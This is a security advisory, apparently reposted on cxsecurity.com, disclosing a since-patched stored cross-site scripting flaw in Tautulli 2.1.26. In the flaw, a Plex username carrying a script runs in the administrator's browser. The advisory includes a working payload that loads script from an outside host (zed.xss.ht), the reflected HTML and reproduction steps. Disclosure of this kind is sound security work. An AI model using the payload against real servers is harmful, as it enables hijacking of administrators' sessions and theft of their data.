Tautulli 2.1.26 Cross Site Scripting

2019.02.23
Credit: Geeknik Labs
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Tautulli (https://tautulli.com/) is a Python based monitoring and tracking tool for Plex Media Server. We discovered that an authenticated Plex Media Server user could change their Plex username to include JavaScript and Tautulli would fail to sanitize the username so that when the Plex Media Server administrator viewed certain pages generated by Tautulli, the JavaScript would be executed in the context of the server administrator. This was disclosed to the project's issue tracker on 19 February 2019 and was marked as fixed in the next release by the developer on 20 February 2019. Initial Report: https://github.com/Tautulli/Tautulli-Issues/issues/161 Patch: https://github.com/Tautulli/Tautulli/commit/6a21d7690a40ea4678ad0908a6a1846c289cc943 Report: **Version:** 2.1.26 **What you did?** I changed my Plex username to `geeknik"><script src=https://zed.xss.ht></script>`. **What happened?** Tautulli does not filter out JavaScript when reading usernames and when the admin visits the History page, the JavaScript is executed in the context of said admin. Lines 112-128 are vulnerable: https://github.com/Tautulli/Tautulli/blob/56a91de2c4ff0fdd8fbdff4dd7d7677bd16a4b28/data/interfaces/default/history.html#L112 Here we can see how it is reflected: ``` <label> <select name="history-user" id="history-user" class="btn" style="color: inherit;"> <option value="">All Users</option> <option disabled="">aaaaaaaaaaaa</option> <option value="xxx">user1</option><option value="xxx">user2</option><option value="xxx">user3</option><option value="xxx">user4</option><option value="xxx">DomitianX</option><option value="xxx">geeknik"&gt;<script src="https://zed.xss.ht"></script></option><option value="xxx">user5</option><option value="xxx">user6</option><option value="xxx">user7</option><option value="xxx">user8</option><option value="0">Local</option><option value="xxx">user9</option><option value="xxx">user10</option><option value="xxx">user11</option><option value="xxx">user12</option><option value="xxx">user13</option><option value="xxx">user14</option><option value="xxx">user15</option><option value="xxx">user16</option><option value="xxx">user17</option></select> </label> ``` **What you expected?** I didn't expect my friend's Plex server to leak a bunch of information at me. **How can we reproduce your issue?** Setup a Plex Media Server, Install Tautulli, create a normal Plex user account to consume media. Change the user account name to something with JavaScript. Visit the Tautulli History page.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top